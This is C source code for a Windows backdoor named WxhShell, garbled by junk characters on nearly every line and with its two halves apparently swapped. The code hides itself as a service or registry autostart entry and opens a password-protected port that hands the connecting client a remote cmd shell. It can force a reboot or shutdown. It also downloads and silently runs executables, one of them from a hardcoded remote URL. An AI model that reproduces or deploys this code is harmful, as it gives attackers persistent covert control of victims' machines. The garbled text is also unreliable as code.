    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); etLA F  
    if(Boot(SHUTDOWN)) a?ii)GGq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w@\quy:  
    else { t?cO>4*|  
    closesocket(wsh); XCku[?Ix  
    ExitThread(0); [iT#Pu5  
    } 6j=a   
    break; 4I<U5@a  
    } 7EukrE<b'  
  // 获取shell ,L,?xvWG  
  case 's': { {;Ispx0m  
    CmdShell(wsh); cb9q0sdf  
    closesocket(wsh); Q.`O;D}x  
    ExitThread(0); 09C[B+>h  
    break; o&vODs  
  } f/K:~#k  
  // 退出 Z|dng6ck  
  case 'x': { 4.0JgX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o 2sOf  
    CloseIt(wsh); Q.]RYv}\  
    break; 0G"I}Jp{  
    } ]aVFWzey  
  // 离开 mtu`m6Xix  
  case 'q': { 4?F7%^vr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y |E {]  
    closesocket(wsh); fxL0"Ry  
    WSACleanup(); ~LuR)T=%es  
    exit(1); KgMW  
    break; ]@UJ 8hDy  
        } _'47yq^O  
  } pX/,s#dY>  
  } ^9PB+mz  
2V 9vS  
  // 提示信息 .}zpvr8YP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M,nLPHgK  
} h(VF  
  } _N&]w*ce  
"vnWq=E 2  
  return; N#? Ohz  
} `:fc*n,*  
Q-LDFnOFwp  
// shell模块句柄 _N-JRM m<  
int CmdShell(SOCKET sock) 56R)631]p  
{ V=g<3R&  
STARTUPINFO si; t!"XQ$g'  
ZeroMemory(&si,sizeof(si)); ;+/[<bvd"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E6NrBPm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &\0V*5tI  
PROCESS_INFORMATION ProcessInfo; `]xot8  
char cmdline[]="cmd"; !@<>S>uGG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Cyw cJ  
  return 0; p&%M=SzN  
} 6s"Erq5q  
j 4B|ktf  
// 自身启动模式 mVBF2F<4  
int StartFromService(void) 4&c7^ 4w~  
{ v9[[T6t/'  
typedef struct !Y3 *\  
{ &E>zvRBQ  
  DWORD ExitStatus; >{dj6Wo  
  DWORD PebBaseAddress;  #' =rv  
  DWORD AffinityMask; ]k (n_+!  
  DWORD BasePriority; 6jIW)C  
  ULONG UniqueProcessId; @fH?y Z=>  
  ULONG InheritedFromUniqueProcessId; %7$oig\wE  
}   PROCESS_BASIC_INFORMATION; (HUGgX"=  
zmxrz[  
PROCNTQSIP NtQueryInformationProcess; n?QpVROo\  
EQ j2:9f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; esM< .  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; > qSaF  
}Dig'vpMx  
  HANDLE             hProcess; kS$HIOt823  
  PROCESS_BASIC_INFORMATION pbi; =m4_8)-8u  
k-( hJ}N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I<I?ks  
  if(NULL == hInst ) return 0; # Z*nc0C  
%` c?cB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S|8O$9{x9q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i8`&XGEd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3eV(2  
{GS7J  
  if (!NtQueryInformationProcess) return 0; eKL)jzC:  
4g#pQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c0Tda  
  if(!hProcess) return 0; L7jMpz&  
?D#]g[6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -L/5Nbup  
(YjY=F  
  CloseHandle(hProcess); [`^x;*C  
-4JdK O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \jdpL1  
if(hProcess==NULL) return 0; Aa5IccR  
W"mkNqH  
HMODULE hMod; Ah_'.r1<P9  
char procName[255]; T|p$Ddt`+  
unsigned long cbNeeded; |5}{4k~9J  
n_@YKz;8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w+cI0lj  
BZqb o`9  
  CloseHandle(hProcess); {Ex0mw)T  
DTdL|x.{  
if(strstr(procName,"services")) return 1; // 以服务启动 2-| oN/FD  
snTj!rV/_  
  return 0; // 注册表启动 |WeLmy%9  
} ;o\0:fzr  
bwo"s[w  
// 主模块 Mi\f?  
int StartWxhshell(LPSTR lpCmdLine) r+HJ_R,5A  
{ l[ ^bo/  
  SOCKET wsl; Nuk\8C  
BOOL val=TRUE; r]'AdJFt  
  int port=0; uH]n/Kv1,  
  struct sockaddr_in door;  @4_CR  
~ K^Z4  
  if(wscfg.ws_autoins) Install(); B$Jn|J"/6  
L[+65ce%*  
port=atoi(lpCmdLine); KoQvC=+WI  
!.iA^D//]  
if(port<=0) port=wscfg.ws_port; }6eWdm!B  
XH)MBr@Fz  
  WSADATA data; qO>BF/)a(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2P9hx5PiV  
G:' -|h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lXm]1 *<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LL-MZ~ZB  
  door.sin_family = AF_INET; \VPU)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =Ze~6vS,  
  door.sin_port = htons(port); H5/%"1Q  
$|z8WCJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1k l4X3q6  
closesocket(wsl); 9ZG.%+l  
return 1; E](Ood  
} kvSSz%R~  
M&@9B)|=  
  if(listen(wsl,2) == INVALID_SOCKET) { LtH;#Q  
closesocket(wsl); sBF}j.b  
return 1; BWL~)Hx  
} 0_qqBL.4  
  Wxhshell(wsl); ^#exs Xy  
  WSACleanup(); u&bo32fc  
RhbYDsG  
return 0;  *;+lF  
jbC7U9t7  
} 62%. ddM4  
lpve Yz  
// 以NT服务方式启动 r6 ,5&`&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2={`g/WeE  
{ QS_" fsyN:  
DWORD   status = 0; L4}C%c\p*  
  DWORD   specificError = 0xfffffff; y| @[?B  
b V;R}3)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "]5]"F4]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B4[onYU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +Medu?K `  
  serviceStatus.dwWin32ExitCode     = 0; \|DcWH1  
  serviceStatus.dwServiceSpecificExitCode = 0; WK /Byd.Z  
  serviceStatus.dwCheckPoint       = 0; FB6`2E%o  
  serviceStatus.dwWaitHint       = 0; RjSVa.x  
:%xiH%C>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /jeurCQ8#u  
  if (hServiceStatusHandle==0) return; [P)HVFy|l  
Po(9BRd7  
status = GetLastError(); z930Wi{@  
  if (status!=NO_ERROR) 7DKbuUK  
{ {Z1j>h$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #{UM4~|:  
    serviceStatus.dwCheckPoint       = 0; !95ZK.UT  
    serviceStatus.dwWaitHint       = 0; E]6;nY?  
    serviceStatus.dwWin32ExitCode     = status; 5Ee%!Pk  
    serviceStatus.dwServiceSpecificExitCode = specificError; FuLP{]Y+AM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <k6Zx-6X<  
    return; 29 Yg>R!/  
  } _CciU.1k&,  
Z-*L[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6i(nyA 2!  
  serviceStatus.dwCheckPoint       = 0; yWsN G;>  
  serviceStatus.dwWaitHint       = 0; k^S=i_ U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xuv%mjQ  
} x =5k74  
4nXS}bWf  
// 处理NT服务事件,比如:启动、停止 I|n<B"Q6^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \=XAl >}\  
{ t(/e~w  
switch(fdwControl) TmoODG>@  
{ ,L6d~>=41  
case SERVICE_CONTROL_STOP: g"FG7E&  
  serviceStatus.dwWin32ExitCode = 0; liA)|.H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SQ1.jcWW[  
  serviceStatus.dwCheckPoint   = 0; k/u6Cw0/  
  serviceStatus.dwWaitHint     = 0; o;D87E6Z  
  { zVd2kuI&?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U_wn/wcLS  
  } S}cpYjnH8  
  return; jY(' ?3  
case SERVICE_CONTROL_PAUSE: fJH09:@^%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ltO:./6v  
  break; YRfs8I^rg  
case SERVICE_CONTROL_CONTINUE: }'b 3'/MJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _b&Mrd  
  break; J;Xh{3[vO  
case SERVICE_CONTROL_INTERROGATE: *[wy- fu  
  break; cWA9n}Z  
}; ]Vln5U   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \&NpVH,-  
} \rF6"24t6  
N)RyRR.x1.  
// 标准应用程序主函数 _rR+u56y-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p&>*bF,  
{ D}>pl8ke~g  
68[3 /  
// 获取操作系统版本 \j+O |#`|)  
OsIsNt=GetOsVer(); [V|,O'X ~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E!8FZv8  
_[<R<&jG  
  // 从命令行安装 >8"oO[U5>  
  if(strpbrk(lpCmdLine,"iI")) Install(); /XeDN-{  
0k@4;BYu  
  // 下载执行文件 &BY%<h0c  
if(wscfg.ws_downexe) { ryB^$Kh,,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eB%KXPhMm  
  WinExec(wscfg.ws_filenam,SW_HIDE); AE={P*g  
} %g5TU 6WP  
w9rwuk  
if(!OsIsNt) { h3Nwxj~E  
// 如果时win9x,隐藏进程并且设置为注册表启动 @{iws@.  
HideProc(); L'BDS*  
StartWxhshell(lpCmdLine); puF'w:I (  
} 9z$]hl  
else : ^F+m QN  
  if(StartFromService()) 3l_Ko %qS  
  // 以服务方式启动 5Q#;4  
  StartServiceCtrlDispatcher(DispatchTable); Kfa7}f_  
else y>Zvose  
  // 普通方式启动 K kP}z  
  StartWxhshell(lpCmdLine); 1P. W 34  
^VK-[Sz&  
return 0; :9Zu&t  
} nm'sub  
11glFe  
%<lfe<;^t  
(%}T\~`1z#  
=========================================== 0#pjfc `:  
A[oLV"J6x5  
W$B&asO  
rbiNp6AdL  
|s-q+q{|  
}__g\?Yf  
" !rZO~a0  
|R8=yO%(  
#include <stdio.h> (~:k70V5  
#include <string.h> T]Gxf"mK  
#include <windows.h> C)~YWx@v  
#include <winsock2.h> x%23oPM  
#include <winsvc.h> "u~l+aW0  
#include <urlmon.h> Tf7$PSupP  
gcqcY  
#pragma comment (lib, "Ws2_32.lib") a*REx_gLG  
#pragma comment (lib, "urlmon.lib") BIEc4k5(  
J~eY,n.6]  
#define MAX_USER   100 // 最大客户端连接数 M[}EVt~  
#define BUF_SOCK   200 // sock buffer BF@(`D&>  
#define KEY_BUFF   255 // 输入 buffer blNE$X+0|  
$e& ( ncM  
#define REBOOT     0   // 重启 l>`N+ pZ$  
#define SHUTDOWN   1   // 关机 SweaE Rl  
9_h 3<3e  
#define DEF_PORT   5000 // 监听端口 b Gq0k&  
S+3'C  
#define REG_LEN     16   // 注册表键长度 _QbLg"O  
#define SVC_LEN     80   // NT服务名长度 \kqa4{7U(  
F, Y@  
// 从dll定义API b#bdz1@s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L&=j O0_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9r-]@6;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s `HSTq2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -CfGWO#Gbx  
F@Y)yi?z  
// wxhshell配置信息 sfNXIEr^  
struct WSCFG { !`q*{Ojx  
  int ws_port;         // 监听端口 Vo}3E]  
  char ws_passstr[REG_LEN]; // 口令 vZj^&/F$=g  
  int ws_autoins;       // 安装标记, 1=yes 0=no RBIf6oxdE  
  char ws_regname[REG_LEN]; // 注册表键名 Zq=t&$*  
  char ws_svcname[REG_LEN]; // 服务名  Q];gC{I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sUN>uroi !  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mt3j- Mw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;<`F[V Zau  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }dw`[{cm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [R CUP.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `<kHNcm  
fI>>w)5  
}; s|Ls  
=Xh^@ OR  
// default Wxhshell configuration H1_XEcaM+*  
struct WSCFG wscfg={DEF_PORT, JW9^C  
    "xuhuanlingzhe", }1]/dCv  
    1, Y,RED5]t  
    "Wxhshell", jIJVl \i]  
    "Wxhshell", 4@OnMj{M  
            "WxhShell Service", [tsi8r =T  
    "Wrsky Windows CmdShell Service", rs {e6  
    "Please Input Your Password: ", A!Zjcp|  
  1, V#[I/D  
  "http://www.wrsky.com/wxhshell.exe", UMwB.*  
  "Wxhshell.exe" @%&;V(  
    }; $ r|R`n=  
Yh_H $uW  
// 消息定义模块 A`<#}~A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .o91^jt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mbxJS_P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s<gZB:~  
char *msg_ws_ext="\n\rExit."; kK&tB  
char *msg_ws_end="\n\rQuit."; q9.)p  
char *msg_ws_boot="\n\rReboot..."; E*ybf'  
char *msg_ws_poff="\n\rShutdown..."; vpXC5|9U  
char *msg_ws_down="\n\rSave to "; >JwdVy^  
F{)YdqQ  
char *msg_ws_err="\n\rErr!"; +qq,;npi  
char *msg_ws_ok="\n\rOK!"; 9 tkj:8_  
&?>h#H222  
char ExeFile[MAX_PATH]; Cnd70tbD )  
int nUser = 0; $'e;ScH  
HANDLE handles[MAX_USER]; rB;` &)-  
int OsIsNt; eO;i1>  
vF"<r,pg  
SERVICE_STATUS       serviceStatus; gP8Fe =]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j)ZvlRi,  
CN8GeZ-G  
// 函数声明 ^@ s!"c  
int Install(void); %<$CH],%  
int Uninstall(void); +Q_(wR"FS  
int DownloadFile(char *sURL, SOCKET wsh); =Xze).g  
int Boot(int flag); 44FK%TmtF  
void HideProc(void); ! utgo/n  
int GetOsVer(void); fgg^B[(Y  
int Wxhshell(SOCKET wsl); `M/=_O3  
void TalkWithClient(void *cs); yLCqlK  
int CmdShell(SOCKET sock); zy`4]w$Lj+  
int StartFromService(void); fv$Y&_,5  
int StartWxhshell(LPSTR lpCmdLine); j b1OcI%  
 A]R7H1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '&#`?\CXX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /tRzb8`  
n4\6\0jq6  
// 数据结构和表定义 (1JZuR<?c  
SERVICE_TABLE_ENTRY DispatchTable[] = 3 lH#+@  
{ 7 vUfA"  
{wscfg.ws_svcname, NTServiceMain}, c_clpMx=  
{NULL, NULL}  v'i"Q  
}; LqIMU4Ex  
!+Z"7e nj  
// 自我安装 A Ntp7ad  
int Install(void) X<@ytHBv  
{ u/!U/|  
  char svExeFile[MAX_PATH]; *- $u\?$  
  HKEY key; HX\@Qws  
  strcpy(svExeFile,ExeFile); "wL~E Si  
uA=6 HpDB  
// 如果是win9x系统,修改注册表设为自启动 #@H{Ypn`  
if(!OsIsNt) { *V#v6r7<Y/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IIeEe7%#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |57KTiiNLI  
  RegCloseKey(key); /{YUM~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >0)E\_ u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YM{Q)115  
  RegCloseKey(key); ;y<)RM  
  return 0; hY+3PNiI@  
    } &b,.W; +  
  } C0/s/p'  
} (bt^L3}a  
else { 5&7)hMppI  
Q>7#</i\.  
// 如果是NT以上系统,安装为系统服务 vM~/|)^0sW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i0/gyK  
if (schSCManager!=0) s([9 /ED  
{ Fp4?/-]  
  SC_HANDLE schService = CreateService *E:w377<}  
  ( W093rNF~  
  schSCManager, d=WC1"  
  wscfg.ws_svcname, qyl~*r*  
  wscfg.ws_svcdisp, ]_I<-}?;  
  SERVICE_ALL_ACCESS, 6yk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , //@_`.  
  SERVICE_AUTO_START, 7p3 ;b"'  
  SERVICE_ERROR_NORMAL, g3n^ <[E  
  svExeFile, nQK@Uy5Yr  
  NULL, ;hF>iw  
  NULL, B) &BqZ&  
  NULL, 0uzis09  
  NULL, HP|,AmVLl  
  NULL =sRd5aMs  
  ); qTC`[l  
  if (schService!=0) .  hHt+  
  { i_g="^  
  CloseServiceHandle(schService); 9 U1)sPH;  
  CloseServiceHandle(schSCManager); +A W6 >yV`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a$#,'UB  
  strcat(svExeFile,wscfg.ws_svcname); [UNfft=K3P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hDmtBdE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~cSC-|$^&  
  RegCloseKey(key); Z]$yuM  
  return 0; ;w4rwL  
    } :d/Z&LXD  
  } qA9*t  
  CloseServiceHandle(schSCManager); 5{ #9b^  
} &k\7fvF  
} SAs'u"EB  
+;#hED; 8  
return 1; . )Fn]x"<  
} \|R`wFn^P  
QC~B8]  
// 自我卸载 SynxMUlA  
int Uninstall(void) l1jS2O(  
{ W#e:rz8=  
  HKEY key; r&}fn"H!  
l*_b)&CH  
if(!OsIsNt) { IaE};8a8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )ty *_@N0  
  RegDeleteValue(key,wscfg.ws_regname); +<:p`%  
  RegCloseKey(key); gb@Rx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |F<U;xV$p  
  RegDeleteValue(key,wscfg.ws_regname); }n=Tw92g  
  RegCloseKey(key); .)|jBC8|}  
  return 0; [HF)d#A  
  } $>/J8iB  
} %P_\7YBC>  
} 'Twi @I  
else { C,]Q/6'>  
qTqvEa^X`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N<Bi.\XC  
if (schSCManager!=0) ] 5P{*  
{ 'BAe>r_Pn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); po=*%Zs*T  
  if (schService!=0) >~BU<#  
  { F xFK  
  if(DeleteService(schService)!=0) { K!|=)G3.`  
  CloseServiceHandle(schService); e hxtNjA  
  CloseServiceHandle(schSCManager); Yc:b:\0}F6  
  return 0; Q C~~  
  } "4g1I<  
  CloseServiceHandle(schService);  i+(`"8W  
  } -# <,i '  
  CloseServiceHandle(schSCManager); z-7F,$  
} P%Q}R[Q  
} kGc)Un?'{U  
g?j"d{.9t  
return 1; qFUpvTe  
} ZI}m~7  
5 1 x^gX|  
// 从指定url下载文件 2:pq|eiF  
int DownloadFile(char *sURL, SOCKET wsh) DLS-WL  
{ pe,c  
  HRESULT hr; 7azxqa5:  
char seps[]= "/"; 2#/ KS^  
char *token; ]Wd{4(b  
char *file; uO[4 WZ  
char myURL[MAX_PATH]; W\} VZY  
char myFILE[MAX_PATH]; A*E4hop[  
,z%F="@b9  
strcpy(myURL,sURL); G#dpSNV3|  
  token=strtok(myURL,seps); bs+KcY:N]  
  while(token!=NULL) cR@z^  
  { 4i~;Ql  
    file=token; qh.c#t  
  token=strtok(NULL,seps); J\;~(: ~  
  } M?nnpO  
r{%NMj  
GetCurrentDirectory(MAX_PATH,myFILE); iZSj T"l^  
strcat(myFILE, "\\"); 2vWkAC;   
strcat(myFILE, file); gmLw.|-  
  send(wsh,myFILE,strlen(myFILE),0); }ZYK3F  
send(wsh,"...",3,0); r4D66tF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Wc,8<Y'   
  if(hr==S_OK) >wMsZ+@m  
return 0; T7W+K7kbI  
else *ac#wEd  
return 1; ppV\FQ{K  
e6F:['j  
} FswFY7 8  
cz T@txF  
// 系统电源模块 dk(-yv'  
int Boot(int flag) v(: VUo]H  
{ Zfb:>J@h6  
  HANDLE hToken; (n`\b47  
  TOKEN_PRIVILEGES tkp; qtgK}*9ptv  
B;K{Vo:C  
  if(OsIsNt) { !)\`U/.W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xE6y9"}!h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s?`)[K'-  
    tkp.PrivilegeCount = 1; /`s^.Xh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P$pl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P?0b-Qr$a  
if(flag==REBOOT) {  )bK<t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6]rrj  
  return 0; o9~qJnB/O  
} h M8G"b  
else { qQ1m5_OD`z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G3U+BC23E  
  return 0; T.1z<l""  
} 6=')*_~/  
  } lA]u8+gXd  
  else { M1ayAXO  
if(flag==REBOOT) { sdO;vp^:b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6iC}%eU  
  return 0; R K'( {1  
} 6&u,.  
else { 9CN / v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9J|YP}%  
  return 0; k~vmHb  
} Gg;#U`  
} KBJ|P^W5j  
u j:w^t ][  
return 1; Y]Fq)  -  
} !^m5by  
_nRshTt`V&  
// win9x进程隐藏模块 K^w9@&g6  
void HideProc(void) H@ w6.[#  
{ J]~fv9~P  
C$(t`G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6*LU+U=`  
  if ( hKernel != NULL ) qq?>ulu*W  
  { rmhCuY?f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n!N;WL3k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A>4k4*aFm#  
    FreeLibrary(hKernel); l y%**iN  
  } +f7?L]wzic  
ivagS\Q  
return; zm~~mz A  
} C>MoR3]  
vj_oMmjKw  
// 获取操作系统版本 k|lxJ^V#  
int GetOsVer(void) BF_k~  
{ \E#r[9F{  
  OSVERSIONINFO winfo; oqY?#p/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z)]EB6uRg  
  GetVersionEx(&winfo); rxz3Mqg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 43)9iDmJ8<  
  return 1; NrU -%!Aw  
  else PIrUls0}  
  return 0; Q72wg~%w  
} f,-|"_5;   
I;|Aiu*  
// 客户端句柄模块 AnyFg)a<  
int Wxhshell(SOCKET wsl) P! 3$RO  
{ 5m bs0GL  
  SOCKET wsh; Eyn3Vv?v  
  struct sockaddr_in client; ~::R+Lh(  
  DWORD myID; fwnpmuJ  
Sx~_p3_5U  
  while(nUser<MAX_USER) RXof$2CZS  
{ '~f@p~P  
  int nSize=sizeof(client); Z8#I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :E^B~ OuL  
  if(wsh==INVALID_SOCKET) return 1; hKT:@l*  
JZY=2q&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dyp] y$  
if(handles[nUser]==0) zbi  
  closesocket(wsh); z84W{! P  
else h1kPsgzR  
  nUser++; |l? ALP_g  
  } C0fA3y72  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SB'YV#--  
BJq}1mn*  
  return 0; Q*4q3B&  
} czb%%:EJs|  
zo5.}mr+  
// 关闭 socket F*w|/-e  
void CloseIt(SOCKET wsh) .J@[v  
{ nn   
closesocket(wsh); x2B"%3th0  
nUser--; X@Bpjg  
ExitThread(0); RP X`2zr  
} o"FX+ 17  
v\k,,sI  
// 客户端请求句柄 }ri*e2y)  
void TalkWithClient(void *cs) 2at?9{b  
{ /j)VES  
g@y" B6X  
  SOCKET wsh=(SOCKET)cs; X|QCa@Foe  
  char pwd[SVC_LEN]; UbibGa= )  
  char cmd[KEY_BUFF]; 9j2I6lGQ  
char chr[1]; |)4$\<d  
int i,j; w@ 5/mf?  
Hb+#*42v  
  while (nUser < MAX_USER) { ]dK]a:S  
rO`g~>-  
if(wscfg.ws_passstr) { .apX72's,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u20b+c4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F^NR qE  
  //ZeroMemory(pwd,KEY_BUFF); ZYt __N  
      i=0; <D dHP  
  while(i<SVC_LEN) { 0V#t ;`Q3  
)[)]@e  
  // 设置超时 Yz,!#ob$  
  fd_set FdRead; /2cI{]B  
  struct timeval TimeOut; .fsk DW  
  FD_ZERO(&FdRead); +7Lco"\w<  
  FD_SET(wsh,&FdRead); /C:'qhY,  
  TimeOut.tv_sec=8; xI4I1"/  
  TimeOut.tv_usec=0; u/[]g+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *D{/p/|[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0xxzhlKNL  
A]+h<Y~}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ],YYFU}  
  pwd=chr[0]; IeB6r+4|  
  if(chr[0]==0xd || chr[0]==0xa) { NslA/"*  
  pwd=0; m3(T0.j0P  
  break; -n *>zGc  
  } :]^P ^khK  
  i++; 9sCk\`n  
    } 8$v7|S6 z  
W^ :/0WR  
  // 如果是非法用户,关闭 socket ;F""}wzn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]Z-oUO Z<k  
} 0GYEt  
!:<UgbiVv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M&ij[%i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]jb4Z  
k2uiu  
while(1) { U+"=  
`zp2;]W  
  ZeroMemory(cmd,KEY_BUFF); MH.,s@  
bX H^Bm  
      // 自动支持客户端 telnet标准   0#[f2X62B  
  j=0; VDKS_n  
  while(j<KEY_BUFF) { kxW>Da<6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !"J#,e|  
  cmd[j]=chr[0]; iHn!KV  
  if(chr[0]==0xa || chr[0]==0xd) { i"]8Zw_D  
  cmd[j]=0; K~8tN ,~&  
  break; >NRz*h#  
  } /plUzy2Yu  
  j++; iL_F*iK5  
    } @sHw+to|p)  
:#[_Osmf(  
  // 下载文件 gww^?j#  
  if(strstr(cmd,"http://")) { vNt>ESPB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =_=Z;#`cXk  
  if(DownloadFile(cmd,wsh)) b_jZL'en  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eqZ+no  
  else -+rF]|Wi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bfJ`}xl(8  
  } zf,%BI[Hr  
  else { 3rdfg  
X^D9)kel  
